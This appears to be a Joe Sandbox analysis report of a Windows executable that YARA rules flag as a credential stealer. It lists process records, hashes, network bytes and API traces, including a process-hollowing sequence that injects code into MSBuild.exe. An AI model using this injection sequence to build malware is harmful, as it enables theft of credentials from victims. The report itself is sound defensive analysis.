2024-12-30 09:35:17 UTC	1312	IN	Data Raw: 34 65 46 51 6a 6a 62 6e 30 2b 6a 64 49 67 6a 59 4b 4a 44 41 4f 38 50 75 43 6c 6a 39 4f 75 54 4c 76 35 34 6b 71 4d 4c 76 6a 44 43 7a 62 68 48 59 49 4b 6a 64 4c 51 73 69 54 35 6c 74 58 63 6d 67 32 71 31 48 48 54 53 34 70 59 4b 34 56 33 5a 2b 51 50 38 56 38 53 79 6f 58 6f 58 39 37 41 4f 69 52 54 2b 4a 54 37 48 5a 7a 4f 4c 62 71 39 4d 58 4e 58 52 70 43 6a 68 56 37 4c 45 4d 64 39 52 75 63 6d 76 55 53 75 47 6a 6d 43 78 47 4f 41 62 65 4a 64 45 46 37 77 47 67 30 45 30 68 64 32 41 49 38 6c 47 78 4f 49 2f 2b 31 4b 64 7a 74 51 72 66 74 69 34 46 49 55 58 67 52 68 6f 78 48 4d 41 6a 69 71 75 50 31 66 6a 34 72 4d 7a 68 46 6d 34 32 42 36 73 54 4c 61 51 74 57 4d 5a 68 36 68 79 79 42 62 43 48 7a 43 48 52 43 6d 75 4b 4d 63 49 65 73 50 46 6e 54 48 4c 4b 72 65 38 46 4e 78 53 Data Ascii: 4eFQjjbn0+jdIgjYKJDAO8PuClj9OuTLv54kqMLvjDCzbhHYIKjdLQsiT5ltXcmg2q1HHTS4pYK4V3Z+QP8V8SyoXoX97AOiRT+JT7HZzOLbq9MXNXRpCjhV7LEMd9RucmvUSuGjmCxGOAbeJdEF7wGg0E0hd2AI8lGxOI/+1KdztQrfti4FIUXgRhoxHMAjiquP1fj4rMzhFm42B6sTLaQtWMZh6hyyBbCHzCHRCmuKMcIesPFnTHLKre8FNxS

Target ID:	0
Start time:	04:34:59
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\6QLvb9i.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6QLvb9i.exe"
Imagebase:	0x8d0000
File size:	916'992 bytes
MD5 hash:	C79AD67C0547A2C2F19268618331E4AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:35:00
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:35:00
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\6QLvb9i.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6QLvb9i.exe"
Imagebase:	0x8d0000
File size:	916'992 bytes
MD5 hash:	C79AD67C0547A2C2F19268618331E4AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1827411101.00000000030BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1827197749.0000000003066000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1827327514.00000000030B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	2.9%
Signature Coverage:	4%
Total number of Nodes:	276
Total number of Limit Nodes:	12

Executed Functions

Function 0091519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00915110,00915100), ref: 00915334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00915347
Wow64GetThreadContext.KERNEL32(0000011C,00000000), ref: 00915365
ReadProcessMemory.KERNELBASE(00000120,?,00915154,00000004,00000000), ref: 00915389
VirtualAllocEx.KERNELBASE(00000120,?,?,00003000,00000040), ref: 009153B4
WriteProcessMemory.KERNELBASE(00000120,00000000,?,?,00000000,?), ref: 0091540C
WriteProcessMemory.KERNELBASE(00000120,00400000,?,?,00000000,?,00000028), ref: 00915457
WriteProcessMemory.KERNELBASE(00000120,?,?,00000004,00000000), ref: 00915495
Wow64SetThreadContext.KERNEL32(0000011C,02FE0000), ref: 009154D1
ResumeThread.KERNELBASE(0000011C), ref: 009154E0

Strings

ress, xrefs: 00915226
ReadProcessMemory, xrefs: 00915289
VirtualAlloc, xrefs: 00915263
SetThreadContext, xrefs: 009152C2
TerminateProcess, xrefs: 009153C3
VirtualAllocEx, xrefs: 0091529C
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00915333
GetThreadContext, xrefs: 00915276
CreateProcessW, xrefs: 00915250
aryA, xrefs: 009151E2
WriteProcessMemory, xrefs: 009152AF
ResumeThread, xrefs: 009152D8
Load, xrefs: 009151DA
GetP, xrefs: 0091521E

Memory Dump Source

Source File: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: d6c3d240c065469653f5b238d4c083cf7d82bb388b25fc990f00f6cfc1164a0e
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: AFB1087264064AEFDB60CF68CC80BDA73A5FF88714F168524EA18AB341D774FA41CB94

Function 008D1C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 008D1C3B
CreateFileA.KERNELBASE ref: 008D1C94
GetFileSize.KERNEL32 ref: 008D1CC3
CloseHandle.KERNEL32 ref: 008D1CDF

Strings

CreateFileA, xrefs: 008D1C2E

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: File$AddressCloseCreateHandleProcSize
String ID: CreateFileA
API String ID: 2547132502-1429953656
Opcode ID: 48ba3699737b8fe12cc9decb6fb9ac608c557650c54cf022ac1b73ca5ac51552
Instruction ID: 140ac5d0ec8def32cb7cd9f7d20b8e1a9c6bd80c6379ce21d2b48c5918bf9f78
Opcode Fuzzy Hash: 48ba3699737b8fe12cc9decb6fb9ac608c557650c54cf022ac1b73ca5ac51552
Instruction Fuzzy Hash: E441A2B4E182499FCB00EFA8D4586AEBBF0FF49314F00852AE899E7350D7749944DF96

Function 008F3202 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,A44455A3,?,008F3311,00000000,00000000,00000000,00000000), ref: 008F32C3

Strings

ext-ms-, xrefs: 008F326D
api-ms-, xrefs: 008F3259

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 033c3e80402c388b840787dbaf0060530f65c0fec3b53f6f240b5dae3e839abf
Instruction ID: 9b9846b4a8636db795bc3fa2edb22137841761af925fc15fcbffbd4125529079
Opcode Fuzzy Hash: 033c3e80402c388b840787dbaf0060530f65c0fec3b53f6f240b5dae3e839abf
Instruction Fuzzy Hash: B721D531B1521DBBDB219B759C41AAA3798FB417A5F248214EB06E7290DB30EE00D6D0

Function 008D1DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 008D1E6E
VirtualProtect.KERNELBASE ref: 008D1EC3

Strings

@, xrefs: 008D1EB7
VirtualProtect, xrefs: 008D1E61

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressProcProtectVirtual
String ID: @$VirtualProtect
API String ID: 3759838892-29487290
Opcode ID: 7b39bc861aabe80cc20f85c7742b9f9ada8803d61a360cb4f79bf3023d004edf
Instruction ID: 339f22565752240dc3cf389553a1a47b106638a31d95dfc36e79d2cfad24e7a4
Opcode Fuzzy Hash: 7b39bc861aabe80cc20f85c7742b9f9ada8803d61a360cb4f79bf3023d004edf
Instruction Fuzzy Hash: AE41E2B0A14209EFCB04DFA9D5986DEBBF0FF48314F11851AE849AB350D7759A84CF82

Function 008EBE33 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(008EBD40,?,008EBEF5,00000000,?,?,008EBD40,A44455A3,?,008EBD40), ref: 008EBE44
TerminateProcess.KERNEL32(00000000,?,008EBEF5,00000000,?,?,008EBD40,A44455A3,?,008EBD40), ref: 008EBE4B
ExitProcess.KERNEL32 ref: 008EBE5D

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 7bbd08f9b99f7962ef3252c238c987245d8612f7de087dcc15f3435a914e6e59
Instruction ID: 245ad89d0a2edfb863dce14b820552303042fc8c4cef44f26e52318d4de46c9e
Opcode Fuzzy Hash: 7bbd08f9b99f7962ef3252c238c987245d8612f7de087dcc15f3435a914e6e59
Instruction Fuzzy Hash: A4D09231114249BFCF423FA6DD0D8EE3F6AFF45781B548064BB099A171CB72D962EA81

Function 008F9EB4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008FA25E: GetConsoleOutputCP.KERNEL32(A44455A3,00000000,00000000,?), ref: 008FA2C1

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,008EA3D2,?,008EA634), ref: 008FA039
GetLastError.KERNEL32(?,008EA3D2,?,008EA634,?,008EA634,?,?,?,?,?,?,?,00000000,?,?), ref: 008FA043

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 68f0ddeb3224c4fa07da0d83e33b138ca6ab9aea5ae2e4ccd83c1366a271f25d
Instruction ID: 42bf5b1d8182b2643b6eaa04952d1540eddc85a46925dc1a0cc3015718e25593
Opcode Fuzzy Hash: 68f0ddeb3224c4fa07da0d83e33b138ca6ab9aea5ae2e4ccd83c1366a271f25d
Instruction Fuzzy Hash: 97619DB190410DAEDF15CFB8D884AFEBBB9FB49318F140185EA44E7252DB32D901DB61

Function 008FA68D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,008FA01F,?,008EA634,?,?,?,00000000), ref: 008FA729
GetLastError.KERNEL32(?,008FA01F,?,008EA634,?,?,?,00000000,?,?,?,?,?,008EA3D2,?,008EA634), ref: 008FA74F

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 93d49fe0a250b21d4b63edb6f990081794af8cdfc17204d85210a3af36bb643d
Instruction ID: 46455007bb01df7f7a8c21969aafb312e0e0d62391c8fce9c750e13b04d514aa
Opcode Fuzzy Hash: 93d49fe0a250b21d4b63edb6f990081794af8cdfc17204d85210a3af36bb643d
Instruction Fuzzy Hash: 4321B475A0011C9FCF19DF29CC809E9B7B9FB48315F1480A9EA4AD7211D730DD82CB65

Function 008F3D52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,008F3C41,00914200,0000000C), ref: 008F3D9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,008F3C41,00914200,0000000C), ref: 008F3DB0

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 8fa9ebc9d4787f2d3d2369e0250d810a5aaf5f0f86e02c681601c92d790b3d39
Instruction ID: 59e83ca7208d3c56b67ebd9c66751bc4d8186b35eee28fd7b4092efb66f24931
Opcode Fuzzy Hash: 8fa9ebc9d4787f2d3d2369e0250d810a5aaf5f0f86e02c681601c92d790b3d39
Instruction Fuzzy Hash: FC1193716187594ACB306E3E8CCC632BAA5FB56374B380759D2B6C75F1C734DA86E240

Function 008D2010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 008D2038
GetModuleFileNameW.KERNEL32 ref: 008D2058

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Module$FileHandleName
String ID:
API String ID: 4146042529-0
Opcode ID: 7e9538bc5eb37ea40616d9cb389bf61f9ad5695eac5d2f7499ed9b3a51f50fee
Instruction ID: da3b631d2fc30fbec9ec1f0a5596b463a8eac328b8f13a62b093864d0075a084
Opcode Fuzzy Hash: 7e9538bc5eb37ea40616d9cb389bf61f9ad5695eac5d2f7499ed9b3a51f50fee
Instruction Fuzzy Hash: C001DAB19182089FCB15EF68D54979DBBF8FB48304F4085ADE489D3341EB745A88DF52

Function 008F2277 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,008F6574,?,00000000,?,?,008F6214,?,00000007,?,?,008F6B5A,?,?), ref: 008F228D
GetLastError.KERNEL32(?,?,008F6574,?,00000000,?,?,008F6214,?,00000007,?,?,008F6B5A,?,?), ref: 008F2298

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 30cb6a2267827f8bac29027f7e9565ef2473fb04b8369a31651a2f54d4a50695
Instruction ID: 77b8803dc3b614434c10bac4794d1c727af031048de49c730d63bd1a7708ea4c
Opcode Fuzzy Hash: 30cb6a2267827f8bac29027f7e9565ef2473fb04b8369a31651a2f54d4a50695
Instruction Fuzzy Hash: 87E08C32214348ABCB112BB9EC0DB9A7BA8FB11751F1480A0F708CA464CA358940EB80

Function 008D14C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 008D150B

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4cc098a48fe5675dabba42692e3e8143db41941ac8efd8ebd4210b0d4a750db9
Instruction ID: 73f1d569a6ee2cc4f656d0772ca44a125baaf9d62bc9af900a02cf1740a9d185
Opcode Fuzzy Hash: 4cc098a48fe5675dabba42692e3e8143db41941ac8efd8ebd4210b0d4a750db9
Instruction Fuzzy Hash: 24D127B4604B449FCB24DF28C594A66BBE0FF49718B148A2EE887CBB51D734F904DB42

Function 008E4C70 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0999f8d6ee4cc08fdbea763be6591b43f79bd4b6b3b57db726463de7af927896
Instruction ID: 301e24d0ec706b3a105130aa4b800703dcb4c259c94a3de1c56cb2db7116f7de
Opcode Fuzzy Hash: 0999f8d6ee4cc08fdbea763be6591b43f79bd4b6b3b57db726463de7af927896
Instruction Fuzzy Hash: 0A419F32A0015AEFCB14DF6AC8908FDB7B9FF0A314B645129E546E7650EB31E941DB90

Function 008E3390 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008E32F7: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,008E32BA,?,?,008E328B,?), ref: 008E3303

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,A44455A3,?,?,?,00902EC9,000000FF), ref: 008E33F7

Part of subcall function 008D8540: std::_Throw_Cpp_error.LIBCPMT ref: 008D856C
Part of subcall function 008D8540: std::_Throw_Cpp_error.LIBCPMT ref: 008D8588

Part of subcall function 008E5CE2: ReleaseSRWLockExclusive.KERNEL32(?,?,?,008D8609,?,008DE873), ref: 008E5CF7

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: 8043af8bb1dc026823691cc448b9f56e7cf12f26007fa499de5e5e7768dd382c
Instruction ID: 898eb39e90fc3ba6cc803cb141233f8727878d840db5e95ffa5fd090f41dfc39
Opcode Fuzzy Hash: 8043af8bb1dc026823691cc448b9f56e7cf12f26007fa499de5e5e7768dd382c
Instruction Fuzzy Hash: 6111EB327086859BCB266B6EEC0AE6EB7B4FB42B64F10811AF541D7790CF35DD00C692

Function 008F32CD Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17ca3f317843b39e417b07efa721eb52cffc562a1f9b89253af1ec982a472aae
Instruction ID: 9be09c2daf15a62e3d34dd90503271b064a939c0ff50febe4af690f00108dd62
Opcode Fuzzy Hash: 17ca3f317843b39e417b07efa721eb52cffc562a1f9b89253af1ec982a472aae
Instruction Fuzzy Hash: 0901B5337242199B9B16CF7DFC419AA37A5FB817247258125FB50C7298DF309910E790

